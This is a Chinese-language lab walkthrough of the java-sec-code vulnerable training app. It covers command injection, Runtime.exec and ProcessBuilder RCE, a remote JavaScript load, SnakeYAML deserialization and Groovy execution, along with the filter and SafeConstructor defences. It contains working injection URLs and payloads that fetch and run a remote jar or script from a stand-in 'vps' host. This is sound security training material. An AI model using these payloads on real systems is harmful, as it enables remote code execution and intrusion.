java-sec-code

[toc]

环境搭建

大致参考:代码审计入门之java-sec-code(一) - FreeBuf网络安全行业门户

不同的地方,我使用的idea2021需要将src进行一下设置

image-20221006234746411

然后按照4步进行设置

image-20221006234842950

导入依赖花了一些时间

因为是在windows上运行,所以需要修改一部分代码

image-20221006235105851

修改index.html

image-20221006235704040

这个靶场包括java的很多漏洞

image-20221007132307190

访问127.0.0.1:8080,账户密码 admin admin123

image-20221007132356964

CmdInject

命令注入

注意看url

1
codeinject?filepath=.%26ipconfig

image-20221007132558252

查看源码

image-20221007161257904

关于ProcessBuilder

(7条消息) 浅析ProcessBuilder_朱小厮的博客-CSDN博客_processbuilder

ProcessBuilder类是J2SE 1.5在java.lang中新添加的一个新类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法

属性command

​ 是一个字符串列表,它表示要调用的外部程序文件及其参数(如果有)。在此,表示有效的操作系统命令的字符串列表是依赖于系统的。例如,每一个总体变量,通常都要成为此列表中的元素,但有一些操作系统,希望程序能自己标记命令行字符串——在这种系统中,Java 实现可能需要命令确切地包含这两个元素。(每次构造函数就是将里面的列表赋值给command)

属性redirectErrorStream

最初,此属性为 false,意思是子进程的标准输出和错误输出被发送给两个独立的流,这些流可以通过 Process.getInputStream() 和 Process.getErrorStream() 方法来访问。如果将值设置为 true,标准错误将与标准输出合并。这使得关联错误消息和相应的输出变得更容易。在此情况下,合并的数据可从 Process.getInputStream() 返回的流读取,而从 Process.getErrorStream() 返回的流读取将直接到达文件尾。
(在codeinject这里,将其设置为true,将标准输出和标准错误合并)

ProcessBuilder类和Process类

既然有Process类,那为什么还要发明个ProcessBuilder类呢?ProcessBuilder和Process两个类有什么区别呢?
原来,ProcessBuilder为进程提供了更多的控制,例如,可以设置当前工作目录,还可以改变环境参数。而Process的功能相对来说简单的多。
ProcessBuilder是一个final类,有两个带参数的构造方法,你可以通过构造方法来直接创建ProcessBuilder的对象。而Process是一个抽象类,一般都通过Runtime.exec()和ProcessBuilder.start()来间接创建其实例。

启动一个默认工作工作目录和环境的新进程

1
Process p = new ProcessBuilder("myCommand", "myArg").start();

codeinject/host

image-20221008082818494

如果将Host直接设置为ip:port

image-20221008083009131

那么就会执行curl ip:port

image-20221008082924674

但是如果是ip:port,那么就不能进行命令注入,所以一定要将端口号消去

codeinject/sec

这里对传入的参数filepath进行了处理

image-20221008145226138

跟进SecurityUtil.cmdFilter函数

如果匹配到除FILTER_PATTERN以外的字符,就返回null

image-20221008145303967

查看FILTER_PATTERN,是大小写字母和数字

image-20221008145340125

所以这里就将之前命令执行的特殊字符进行了过滤

image-20221008145745292

RCE

算是了解多种java远程命令执行的方法

runtime/rce

直接是

1
Runtime.getRuntime().exec(cmd)

没有经过过滤

image-20221008150007111

效果如下

image-20221008150048967

但是要注意的地方是,直接从主页面点击RCE,不会到上面的路由下

image-20221008150120417

而是会跳到别的地方rce/exec?cmd=whoami,不是正确的路由

image-20221008150155045

processbuilder

注意修改代码

image-20221008150459385

运行效果

image-20221008150609672

具体代码

1
2
3
String[] arrCmd = {"cmd.exe", "/c", cmd};
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();

jscmd

将zz.js放置在vps上

1
var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc");}

image-20221008224655107

代码

1
2
3
4
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);

payload

1
/rce/jscmd?jsurl=http://vps/zz.js

vuln/yarm

参考:Java代码审计之RCE漏洞 - FreeBuf网络安全行业门户

利用SnakeYAML存在的反序列化漏洞来rce,在解析恶意yml内容时会完成指定的动作。

攻击的流程:先是触发java.net.URL去拉取远程 HTTP 服务器上的恶意 jar 文件,然后是寻找 jar 文件中实现javax.script.ScriptEngineFactory接口的类并实例化,实例化类时执行恶意代码,造成 RCE 漏洞

artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads (github.com)

下载下来,然后javac编译

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

生成yaml-payload.jar

image-20221011234824781

1
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps/yaml-payload.jar"]]]]

payload

1
http://127.0.0.1:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://vps/yaml-payload.jar%22]]]]

效果

image-20221012174852653

sec/yarm

相比于上一个vuln/yarm,这里使用的是SafeConstructor类

image-20221012175801301

使用new SafeConstructor()即可防御Yaml反序列化

groovy

代码

1
2
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);

payload

1
http://127.0.0.1:8080/rce/groovy?content=%22calc%22.execute()

image-20221008225020518